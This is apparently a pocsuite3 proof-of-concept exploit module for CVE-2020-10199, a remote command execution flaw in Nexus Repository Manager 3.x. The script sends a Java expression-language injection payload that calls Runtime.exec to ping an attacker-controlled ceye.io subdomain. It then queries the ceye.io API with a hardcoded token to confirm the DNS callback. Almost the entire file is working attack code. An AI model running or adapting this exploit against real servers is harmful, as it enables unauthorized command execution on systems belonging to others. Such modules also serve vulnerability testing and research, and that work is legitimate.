#!/usr/bin/env python
# _*_ encoding：utf-8 _*_

from pocsuite3.api import POCBase
from pocsuite3.api import register_poc
from pocsuite3.api import Output
from collections import OrderedDict
from pocsuite3.api import OptString
from pocsuite3.api import requests
from pocsuite3.lib.utils import random_str
import json

class Nexus(POCBase):
    vulID = ''
    version = '1.0'
    author = ['big04dream']
    vulDate = '2020-04-02'
    createDate = '2020-06-30'
    updateDate = '2020-06-30'
    references = ['']
    name = 'Nexus Manager 3 远程命令执行漏洞'
    appPowerLink = 'https://oss.sonatype.org/'
    appName = 'Nexus Repository Manager OSS/Pro 3.x'
    appVersion = 'Nexus Repository Manager OSS/Pro version <= 3.21.1 '
    vulType = 'rce'
    desc = '''
    Nexus Manager 3 远程命令执行漏洞（CVE-2020-10199)
    '''

    def _options(self):
        o = OrderedDict()
        o['sessionid'] = OptString('', description='current nexus session id', require=False)
        o['csrftoken'] = OptString('', description='current nexus csrf token', require=False)
        return o

    def _verify(self):
        result = {}
        try:
            target = self.url + '/service/rest/beta/repositories/go/group'
            cmd = random_str(16) + '.6eb4yw.ceye.io'
            cmd2 = 'ping ' + cmd
            payload = "$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('%s')}" % cmd2
            data = {
                "name": "internal",
                "online": "true",
                "storage": {
                    "blobStoreName": "default",
                    "strictContentTypeValidation": "true"
                },
                "group": {
                    "memberNames": [payload]
                }
            }
            requests.post(target, data=json.dumps(data), headers=self._headers)
            res = requests.get('http://api.ceye.io/v1/records?token=2490ae17e5a04f03def427a596438995&type=dns')
            if cmd in res:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = target
                result['VerifyInfo']['Payload'] = payload
        except:
            pass
        return self.parse_output(result)

    @property
    def _headers(self):
        headers = {
            "Host": "%s" % self.url,
            "Referer": self.url,
            "X-Nexus-UI": "true",
            "X-Requested-With": "XMLHttpRequest",
            "NX-ANTI-CSRF-TOKEN": self.get_option('csrftoken'),
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0",
            "Accept": "application/json, text/plain, */*",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate",
            "Content-Type": "application/json",
            "Cookie": "NX-ANTI-CSRF-TOKEN=%s; NXSESSIONID=%s" % (self.get_option('csrftoken'), self.get_option('sessionid')),
            "Origin": self.url,
            "Connection": "close"
        }
        return headers

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('not vulnerability')
        return output

register_poc(Nexus)